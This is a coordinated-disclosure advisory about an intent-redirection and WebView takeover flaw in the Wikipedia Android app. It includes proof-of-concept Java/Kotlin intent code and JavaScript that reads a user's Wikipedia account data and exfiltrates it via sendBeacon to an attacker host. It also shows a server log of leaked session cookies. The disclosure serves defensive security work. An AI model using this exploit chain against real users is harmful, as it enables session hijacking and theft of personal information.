Coordinated Disclosure Timeline

Summary

The Wikimedia Android app (apps-android-wikipedia) allowed an explicit intent to the exported PageActivity, allowing an attacker to load arbitrary webpages. Using a local application, an attacker can load a malicious webpage that steals session cookies and leaks personal information.

Project

apps-android-wikipedia

Tested Version

latest

Details

Intent Redirection via Exported PageActivity Donation Thank-You Flow Leads to WebView Takeover (GHSL-2026-103)

The exported PageActivity accepts ACTION_VIEW intents from any application on the device. Its handleIntent() method contains a donation thank-you code path that passes the full attacker-controlled URI to SingleWebViewActivity without any domain validation.

A malicious app on the device can send an explicit intent with a crafted URL that satisfies three non-security checks — causing the Wikipedia app to load arbitrary attacker-controlled content in an internal WebView with JavaScript enabled and a cookie-proxying OkHttpWebViewClient.

Attack flow:

  1. A malicious app sends an explicit intent to PageActivity:
Intent(Intent.ACTION_VIEW).apply {
    setClassName("org.wikipedia", "org.wikipedia.page.PageActivity")
    data = Uri.parse("https://thankyou.attacker.com/phish?order_id=1&wmf_campaign=Android")
}
  1. WikiSite(uri) calls authorityToLanguageCode("thankyou.attacker.com"), which splits on dots and returns the first part: "thankyou".

  2. At PageActivity.kt:540, "thankyou" matches an entry in NON_LANGUAGE_SUBDOMAINS.

  3. At PageActivity.kt:543-552, the donation-completion checks pass: language == "thankyou", order_id query parameter is present, and wmf_campaign == "Android".

  4. At PageActivity.kt:560, the full attacker URI (uri.toString()) is passed to SingleWebViewActivity.newIntent():

startActivity(SingleWebViewActivity.newIntent(this@PageActivity, uri.toString(),
    true, pageFragment.title, pageContentInfo))
  1. SingleWebViewActivity:

No domain validation exists anywhere in this path

Impact

SOP bypass via OkHttpWebViewClient:

SingleWebViewActivity uses OkHttpWebViewClient, which intercepts all http/https subresource requests, proxies them through OkHttpConnectionFactory.client (which has SharedPreferenceCookieManager attached as its cookie jar), and unconditionally injects Access-Control-Allow-Origin: * on every response:

// OkHttpWebViewClient.kt:135
private fun addResponseHeaders(headers: Headers): Headers {
    return headers.newBuilder().set("Access-Control-Allow-Origin", "*").build()
}

Because cookies are injected by OkHttp behind the WebView’s back (not via credentials: 'include'), the WebView treats these as non-credentialed requests and the wildcard CORS header passes. Attacker JavaScript running at https://thankyou.attacker.com can therefore call fetch() against authenticated Wikipedia API endpoints and read the response body:

// Running inside SingleWebViewActivity at https://thankyou.attacker.com:
fetch('https://en.wikipedia.org/w/api.php?action=query&meta=userinfo&uiprop=email|groups&format=json')
  .then(r => r.json())
  .then(data => {
    // data.query.userinfo contains: name, email, groups, registration date
    navigator.sendBeacon('https://thankyou.attacker.com/exfil', JSON.stringify(data));
  });

Proof Of Concept

PoC App

A minimal Android app sends an explicit intent to the Wikipedia app’s exported PageActivity:

Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setClassName("org.wikipedia.dev", "org.wikipedia.page.PageActivity");
intent.setData(Uri.parse(
    "https://thankyou.evil-wikipedia.org/wiki/PoC"
    + "?order_id=1&wmf_campaign=Android&amount=5&currency=USD"));
startActivity(intent);
Attacker Server
##############################################################################
#  EXFIL from attacker JS inside the Wikipedia WebView
##############################################################################
[+] GET /wiki/PoC?order_id=1&wmf_campaign=Android&amount=5&currency=USD
    Host: thankyou.evil-wikipedia.org
    UA  : WikipediaApp/50575-dev-2026-03-26 (Android 13; Phone; sdk_gphone64_arm64 Build/TE1A.240213.009) Developer Channel

    >>> COOKIE LEAK <<<
            GeoIP=
            WMF-Uniq=m0eIVdc36nUFZ6np7T2rfgMwAAEBAFvdz1bTEWc58FY9N9FZHH3jmmCI063r6_2T
            WMF-Last-Access-Global=30-Mar-2026
      [!!!] centralauth_User=Kuzzs
      [!!!] centralauth_Token=
      [!!!] centralauth_Session=
##############################################################################

CVE

Credit

This issue was discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2026-103 in any communication regarding this issue.